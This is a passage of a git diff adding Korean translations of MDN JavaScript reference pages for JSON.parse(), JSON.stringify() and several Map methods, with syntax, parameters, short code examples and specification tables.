+ <dt>{{jsxref("JSON.stringify()")}}</dt>
+ <dd>주어진 값에 해당하는 JSON 문자열을 반환합니다. 선택 사항으로 특정 속성만 포함하거나 사용자 정의 방식으로 속성을 대체합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.builtins.JSON")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toJSON()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/json/parse/index.html b/files/ko/web/javascript/reference/global_objects/json/parse/index.html
new file mode 100644
index 0000000000..fa32b3711e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/json/parse/index.html
@@ -0,0 +1,123 @@
+---
+title: JSON.parse()
+slug: Web/JavaScript/Reference/Global_Objects/JSON/parse
+tags:
+  - ECMAScript 5
+  - JSON
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/parse
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>JSON.parse()</code></strong> 메서드는 JSON 문자열의 구문을 분석하고, 그 결과에서 JavaScript 값이나 객체를 생성합니다.</span> 선택적으로, <code>reviver</code> 함수를 인수로 전달할 경우, 결과를 반환하기 전에 변형할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/json-parse.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">JSON.parse(<var>text</var>[, <var>reviver</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd>JSON으로 변환할 문자열. JSON 구문은 {{jsxref("JSON")}} 객체의 설명을 참고하세요.</dd>
+ <dt><code>reviver</code> {{optional_inline}}</dt>
+ <dd>함수라면, 변환 결과를 반환하기 전에 이 인수에 전달해 변형함.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 JSON 문자열에 대응하는 {{jsxref("Object")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p>변환할 문자열이 유효한 JSON이 아닐 경우 {{jsxref("SyntaxError")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="JSON.parse()_사용하기"><code>JSON.parse()</code> 사용하기</h3>
+
+<pre class="brush: js">JSON.parse('{}');              // {}
+JSON.parse('true');            // true
+JSON.parse('"foo"');           // "foo"
+JSON.parse('[1, 5, "false"]'); // [1, 5, "false"]
+JSON.parse('null');            // null
+</pre>
+
+<h3 id="reviver_매개변수_사용하기"><code>reviver</code> 매개변수 사용하기</h3>
+
+<p><code>reviver</code>가 주어지면 분석한 값을 반환하기 전에 변환합니다. 구체적으로는, 분석한 값과 그 모든 속성(가장 깊게 중첩된 속성부터 시작해 제일 바깥의 원래 값까지)을 각각 <code>reviver</code>에 전달합니다. <code>reviver</code>의 <code>this</code> 문맥은 분석한 값으로 설정되고, 속성 명(문자열)과 값을 인자로 전달받습니다. <code>reviver</code>가 {{jsxref("undefined")}}를 반환하거나 반환하지 않는다면, 예컨대 함수가 중간에 실패한다면 그 속성은 최종 결과에서 제외됩니다. 그 외에는 반환 값으로 속성의 값을 재설정합니다.</p>
+
+<p>만약 <code>reviver</code>가 일부 값만 변환하고 나머지는 건드리지 않는다면, 나머지 값을 그대로 반환하는걸 잊지 마세요. 그렇지 않으면 변환한 값 외에는 결과에서 모두 제외됩니다.</p>
+
+<pre class="brush: js">JSON.parse('{"p": 5}', (key, value) =&gt;
+  typeof value === 'number'
+    ? value * 2 // 숫자라면 2배
+    : value     // 나머진 그대로
+);
+
+// { p: 10 }
+
+JSON.parse('{"1": 1, "2": 2, "3": {"4": 4, "5": {"6": 6}}}', (key, value) =&gt; {
+  console.log(key); // 현재 속성명 출력, 마지막은 빈 문자열("")
+  return value;     // 변환하지 않고 그대로 반환
+});
+
+// 1
+// 2
+// 4
+// 6
+// 5
+// 3
+// ""</pre>
+
+<h3 id="후행_쉼표_사용_불가">후행 쉼표 사용 불가</h3>
+
+<pre class="example-bad brush: js">// 둘 다 SyntaxError
+JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{"foo" : 1, }');
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.2', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.7.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.parse', 'JSON.parse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json.parse', 'JSON.parse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.JSON.parse")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/json/stringify/index.html b/files/ko/web/javascript/reference/global_objects/json/stringify/index.html
new file mode 100644
index 0000000000..12de82705b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/json/stringify/index.html
@@ -0,0 +1,230 @@
+---
+title: JSON.stringify()
+slug: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+tags:
+  - JSON
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>JSON.stringify()</code></strong> 메서드는 JavaScript 값이나 객체를 JSON 문자열로 변환합니다.</span> 선택적으로, <code>replacer</code>를 함수로 전달할 경우 변환 전 값을 변형할 수 있고, 배열로 전달할 경우 지정한 속성만 결과에 포함합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/json-stringify.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">JSON.stringify(<var>value</var>[, <var>replacer</var>[, <var>space</var>]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>JSON 문자열로 변환할 값.</dd>
+ <dt><code>replacer</code> {{optional_inline}}</dt>
+ <dd>문자열화 동작 방식을 변경하는 함수, 혹은 JSON 문자열에 포함될 값 객체의 속성들을 선택하기 위한 화이트리스트(whitelist)로 쓰이는 {{jsxref("String")}} 과 {{jsxref("Number")}} 객체들의 배열. 이 값이 null 이거나 제공되지 않으면, 객체의 모든 속성들이 JSON 문자열 결과에 포함된다.</dd>
+</dl>
+
+<dl>
+ <dt><code>space</code> {{optional_inline}}</dt>
+ <dd>가독성을 목적으로 JSON 문자열 출력에 공백을 삽입하는데 사용되는 {{jsxref("String")}} 또는 {{jsxref("Number")}} 객체. 이것이 <code>Number</code> 라면, 공백으로 사용되는 스페이스(space)의 수를 나타낸다; 이 수가 10 보다 크면 10 으로 제한된다. 1 보다 작은 값은 스페이스가 사용되지 않는 것을 나타낸다. 이것이 <code>String</code> 이라면, 그 문자열(만약 길이가 10 보다 길다면, 첫번째 10 개의 문자)이 공백으로 사용된다. 이 매개 변수가 제공되지 않는다면(또는 null 이면), 공백이 사용되지 않는다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값과 대응하는 JSON 문자열.</p>
+
+<h3 id="예외">예외</h3>
+
+<p>순환 참조를 발견할 경우 {{jsxref("TypeError")}}(<code>cyclic object value</code>).</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>JSON.stringify()</code>는 값을 JSON 표기법으로 변환한다.</p>
+
+<ul>
+ <li>배열이 아닌 객체의 속성들은 어떤 특정한 순서에 따라 문자열화 될 것이라고 보장되지 않는다. 같은 객체의 문자열화에 있어서 속성의 순서에 의존하지 않는다.</li>
+ <li>{{jsxref("Boolean")}}, {{jsxref("Number")}}, {{jsxref("String")}} 객체들은 문자열화 될 때 전통적인 변환 의미에 따라 연관된 기본형(primitive) 값으로 변환된다.</li>
+ <li>{{jsxref("undefined")}}, 함수, 심볼(symbol)은 변환될 때 생략되거나(객체 안에 있을 경우) {{jsxref("null")}} 로 변환된다(배열 안에 있을 경우).</li>
+ <li>심볼을 키로 가지는 속성들은 <code>replacer</code> 함수를 사용하더라도 완전히 무시된다.</li>
+ <li>열거 불가능한 속성들은 무시된다.</li>
+</ul>
+
+<pre class="brush: js notranslate">JSON.stringify({});                  // '{}'
+JSON.stringify(true);                // 'true'
+JSON.stringify('foo');               // '"foo"'
+JSON.stringify([1, 'false', false]); // '[1,"false",false]'
+JSON.stringify({ x: 5 });            // '{"x":5}'
+
+JSON.stringify(new Date(2006, 0, 2, 15, 4, 5))
+// '"2006-01-02T15:04:05.000Z"'
+
+JSON.stringify({ x: 5, y: 6 });
+// '{"x":5,"y":6}' or '{"y":6,"x":5}'
+JSON.stringify([new Number(1), new String('false'), new Boolean(false)]);
+// '[1,"false",false]'
+
+// Symbols:
+JSON.stringify({ x: undefined, y: Object, z: Symbol('') });
+// '{}'
+JSON.stringify({ [Symbol('foo')]: 'foo' });
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]);
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function(k, v) {
+  if (typeof k === 'symbol') {
+    return 'a symbol';
+  }
+});
+// '{}'
+
+// Non-enumerable properties:
+JSON.stringify( Object.create(null, { x: { value: 'x', enumerable: false }, y: { value: 'y', enumerable: true } }) );
+// '{"y":"y"}'
+
+</pre>
+
+<h3 id="replacer_매개_변수"><code>replacer</code> 매개 변수</h3>
+
+<p><code>replacer</code> 매개변수는 함수 또는 배열이 될 수 있다. 함수일 때는 문자열화 될 key 와 value, 2개의 매개변수를 받는다. key 가 발견된 객체는 리플레이서의 <code>this</code> 매개변수로 제공된다. 맨 처음에는 문자열화될 그 객체를 나타내는 비어 있는 key와 함께 호출되고, 그 다음에는 문자열화될 그 객체나 배열의 각 속성에 대해 호출된다. 이것은 JSON 문자열에 추가되어야 하는 값을 반환해야한다:</p>
+
+<ul>
+ <li>{{jsxref("Number")}} 를 반환하면, JSON 문자열에 추가될 때 그 수를 나타내는 문자열이 그 속성의 값으로 사용된다.</li>
+ <li>{{jsxref("String")}} 을 반환하면, 그것이 JSON 문자열에 추가될 때 속성의 값으로 사용된다.</li>
+ <li>{{jsxref("Boolean")}} 을 반환하면, 그것이 JSON 문자열에 추가될 때 "true" 또는 "false" 이 속성의 값으로 사용된다.</li>
+ <li>다른 객체를 반환하면, 그 객체는 <code>replacer</code> 함수를 각각의 속성에 대해 호출하며 순환적으로 JSON 문자열로 문자열화된다. 그 객체가 함수인 경우에는 JSON 문자열에 아무것도 추가되지 않는다.</li>
+ <li><code>undefined</code> 를 반환하면, 그 속성은 JSON 문자열 결과에 포함되지 않는다.</li>
+</ul>
+
+<div class="note"><strong>유의:</strong> <code>replacer</code> 함수를 배열로부터 값을 제거하기위해 사용할 수 없다. 만약 <code>undefined</code> 나 함수를 반환한다면 <code>null</code> 이 대신 사용될 것이다.</div>
+
+<h4 id="함수에_대한_예제">함수에 대한 예제</h4>
+
+<pre class="brush: js notranslate">function replacer(key, value) {
+  if (typeof value === "string") {
+    return undefined;
+  }
+  return value;
+}
+
+var foo = {foundation: "Mozilla", model: "box", week: 45, transport: "car", month: 7};
+var jsonString = JSON.stringify(foo, replacer);
+</pre>
+
+<p>JSON 문자열 결과는 <code>{"week":45,"month":7}</code> 이다.</p>
+
+<h4 id="배열에_대한_예제">배열에 대한 예제</h4>
+
+<p><code>replacer</code> 가 배열인 경우, 그 배열의 값은 JSON 문자열의 결과에 포함되는 속성의 이름을 나타낸다.</p>
+
+<pre class="brush: js notranslate">JSON.stringify(foo, ['week', 'month']);
+// '{"week":45,"month":7}', 단지 "week" 와 "month" 속성을 포함한다
+</pre>
+
+<h3 id="space_매개_변수"><code>space</code> 매개 변수</h3>
+
+<p><code>space</code> 매개변수는 최종 문자열의 간격을 제어한다. 숫자일 경우 최대 10자 만큼의 공백 문자 크기로 들여쓰기되며, 문자열인 경우 해당 문자열 또는 처음 10자 만큼 들여쓰기 된다.</p>
+
+<pre class="brush: js notranslate">JSON.stringify({ a: 2 }, null, ' ');
+// '{
+//  "a": 2
+// }'
+</pre>
+
+<p>'\t'를 사용하면 일반적으로 들여쓰기 된 코드스타일과 유사함.</p>
+
+<pre class="brush: js notranslate">JSON.stringify({ uno: 1, dos: 2 }, null, '\t');
+// returns the string:
+// '{
+//     "uno": 1,
+//     "dos": 2
+// }'
+</pre>
+
+<h3 id="toJSON_작동"><code>toJSON()</code> 작동</h3>
+
+<p>If an object being stringified has a property named <code>toJSON</code> whose value is a function, then the <code>toJSON()</code> method customizes JSON stringification behavior: instead of the object being serialized, the value returned by the <code>toJSON()</code> method when called will be serialized. For example:</p>
+
+<pre class="brush: js notranslate">var obj = {
+  foo: 'foo',
+  toJSON: function() {
+    return 'bar';
+  }
+};
+JSON.stringify(obj);        // '"bar"'
+JSON.stringify({ x: obj }); // '{"x":"bar"}'
+</pre>
+
+<h3 id="Example_of_using_JSON.stringify_with_localStorage">Example of using <code>JSON.stringify()</code> with <code>localStorage</code></h3>
+
+<p>In a case where you want to store an object created by your user and allowing it to be restored even after the browser has been closed, the following example is a model for the applicability of <code>JSON.stringify()</code>:</p>
+
+<div class="warning">
+<p>Functions are not a valid JSON data type so they will not work. However, they can be displayed if first converted to a string (e.g. in the replacer), via the function's toString method. Also, some objects like {{jsxref("Date")}} will be a string after {{jsxref("JSON.parse()")}}.</p>
+</div>
+
+<pre class="brush: js notranslate">// Creating an example of JSON
+var session = {
+  'screens': [],
+  'state': true
+};
+session.screens.push({ 'name': 'screenA', 'width': 450, 'height': 250 });
+session.screens.push({ 'name': 'screenB', 'width': 650, 'height': 350 });
+session.screens.push({ 'name': 'screenC', 'width': 750, 'height': 120 });
+session.screens.push({ 'name': 'screenD', 'width': 250, 'height': 60 });
+session.screens.push({ 'name': 'screenE', 'width': 390, 'height': 120 });
+session.screens.push({ 'name': 'screenF', 'width': 1240, 'height': 650 });
+
+// Converting the JSON string with JSON.stringify()
+// then saving with localStorage in the name of session
+localStorage.setItem('session', JSON.stringify(session));
+
+// Example of how to transform the String generated through
+// JSON.stringify() and saved in localStorage in JSON object again
+var restoredSession = JSON.parse(localStorage.getItem('session'));
+
+// Now restoredSession variable contains the object that was saved
+// in localStorage
+console.log(restoredSession);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.3', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.7.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.stringify', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json.stringify', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.JSON.stringify")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("JSON.parse()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/@@tostringtag/index.html b/files/ko/web/javascript/reference/global_objects/map/@@tostringtag/index.html
new file mode 100644
index 0000000000..7a1cd5002b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/@@tostringtag/index.html
@@ -0,0 +1,51 @@
+---
+title: 'Map.prototype[@@toStringTag]'
+slug: Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Map[@@toStringTag]</code></strong> 프로퍼티의 초기값은 "Map"입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-@@tostringtag.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Map[Symbol.toStringTag]</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">Object.prototype.toString.call(new Map()) // "[object Map]"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.@@toStringTag")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/map/clear/index.html b/files/ko/web/javascript/reference/global_objects/map/clear/index.html
new file mode 100644
index 0000000000..fc63ff96d6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/clear/index.html
@@ -0,0 +1,75 @@
+---
+title: Map.prototype.clear()
+slug: Web/JavaScript/Reference/Global_Objects/Map/clear
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>clear()</strong></code> 메서드는 <code>Map</code> 객체의 모든 요소를 제거합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-clear.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>myMap</em>.clear();
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="clear()_사용하기"><code>clear()</code> 사용하기</h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'baz');
+myMap.set(1, 'foo');
+
+myMap.size;       // 2
+myMap.has('bar'); // true
+
+myMap.clear();
+
+myMap.size;       // 0
+myMap.has('bar')  // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.clear")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/delete/index.html b/files/ko/web/javascript/reference/global_objects/map/delete/index.html
new file mode 100644
index 0000000000..41110a28a9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/delete/index.html
@@ -0,0 +1,79 @@
+---
+title: Map.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/Map/delete
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>delete()</strong></code> 메서드는 <code>Map</code> 객체에서 특정 요소를 제거합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-delete.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">myMap.delete(<em>key</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd><code>Map</code> 객체에서 제거할 요소의 키.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>요소가 <code>Map</code> 객체에 존재해서 제거했을 경우 <code>true</code>, 존재하지 않았으면 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="delete()_사용하기"><code>delete()</code> 사용하기</h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'foo');
+
+myMap.delete('bar'); // Returns true. Successfully removed.
+myMap.has('bar');    // Returns false. The "bar" element is no longer present.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.delete")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/entries/index.html b/files/ko/web/javascript/reference/global_objects/map/entries/index.html
new file mode 100644
index 0000000000..54242f373b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/entries/index.html
@@ -0,0 +1,78 @@
+---
+title: Map.prototype.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Map/entries
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>entries()</strong></code> 메서드는 <code>Map</code> 객체의 각 요소에 해당하는 <code>[키, 값]</code> 쌍을 <code>Map</code>에 등록한 순서대로 포함한 새로운 <strong><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterator</a></strong> 객체를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-entries.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.entries()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>A new {{jsxref("Map")}} iterator object.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="entries()_사용하기"><code>entries()</code> 사용하기</h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.entries();
+
+console.log(mapIter.next().value); // ["0", "foo"]
+console.log(mapIter.next().value); // [1, "bar"]
+console.log(mapIter.next().value); // [Object, "baz"]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.entries")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/foreach/index.html b/files/ko/web/javascript/reference/global_objects/map/foreach/index.html
new file mode 100644
index 0000000000..48b96eb570
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/foreach/index.html
@@ -0,0 +1,98 @@
+---
+title: Map.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Map/forEach
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>forEach()</strong></code><strong> </strong>메소드는 <code>Map</code> 오브젝트 내의 key/value 쌍의 개수 만큼 주어진 함수를 순서대로 실행합니다. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.forEach(<em>callback</em>[, <em>thisArg</em>])</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각각의 요소를 처리하기 위한 함수.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd> <code>callback</code> 을 실행할때 <code>this</code> 로 사용되는 값.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>forEach</code> 메서드는 map의 각각의 키마다 주어진 <code>callback</code> 함수를 실행합니다. 삭제된 키에대해서는 호출되지 않습니다. 그러나, 값이 존재하지만 <code>undefined</code> 인 값에 대해서는 실행됩니다.</p>
+
+<p><code>callback</code> 은 <strong>3가지 인수</strong>로 호출됩니다.</p>
+
+<ul>
+ <li><strong>요소의 value</strong></li>
+ <li><strong>요소의 key</strong></li>
+ <li><strong><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">사용될 </span></font>Map</code> 객체</strong></li>
+</ul>
+
+<p><code>thisArg</code> 파라미터가 <code>forEach</code> 에 제공되면, <code>this</code> 값으로 사용하기 위해 호출될때 <code>callback</code> 으로 넘겨집니다. 그렇지 않으면 <code>undefined</code> 값이 <code>this</code> 값으로 넘겨질 것입니다. 궁극적으로 <code>callback</code> 으로 보여지게 된 <code>this</code> 값은 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">함수에 의해 보여지는 this 를 결정하기 위한 일반적인 규칙에 따라 결정됩니다.</a></p>
+
+<p>각각의 value는 한번씩 사용됩니다. 다만 <code>forEach</code> 가 끝나기 전에 value가 삭제되거나 재추가 된 경우는 예외입니다. <code>callback</code> 은 사용되기 전에 삭제된 value에 의해 호출되지 않습니다. <code>forEach</code> 가 끝나기 전에 새롭게 추가된 value가 사용 됩니다.</p>
+
+<p><code>forEach</code> 는 <code>Map</code> 오브젝트 내에 있는 각각의 요소마다 <code>callback</code> 함수를 실행합니다; 깂을 반환하지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Map_오브젝트의_내용을_출력"><code>Map</code> 오브젝트의 내용을 출력</h3>
+
+<p>아래의 코드는 <code>Map</code> 오브젝트 내의 각각 요소들을 행별로 출력합니다:</p>
+
+<pre class="brush:js">function logMapElements(value, key, map) {
+    console.log(`map.get('${key}') = ${value}`);
+}
+new Map([['foo', 3], ['bar', {}], ['baz', undefined]]).forEach(logMapElements);
+// logs:
+// "map.get('foo') = 3"
+// "map.get('bar') = [object Object]"
+// "map.get('baz') = undefined"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.forEach")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
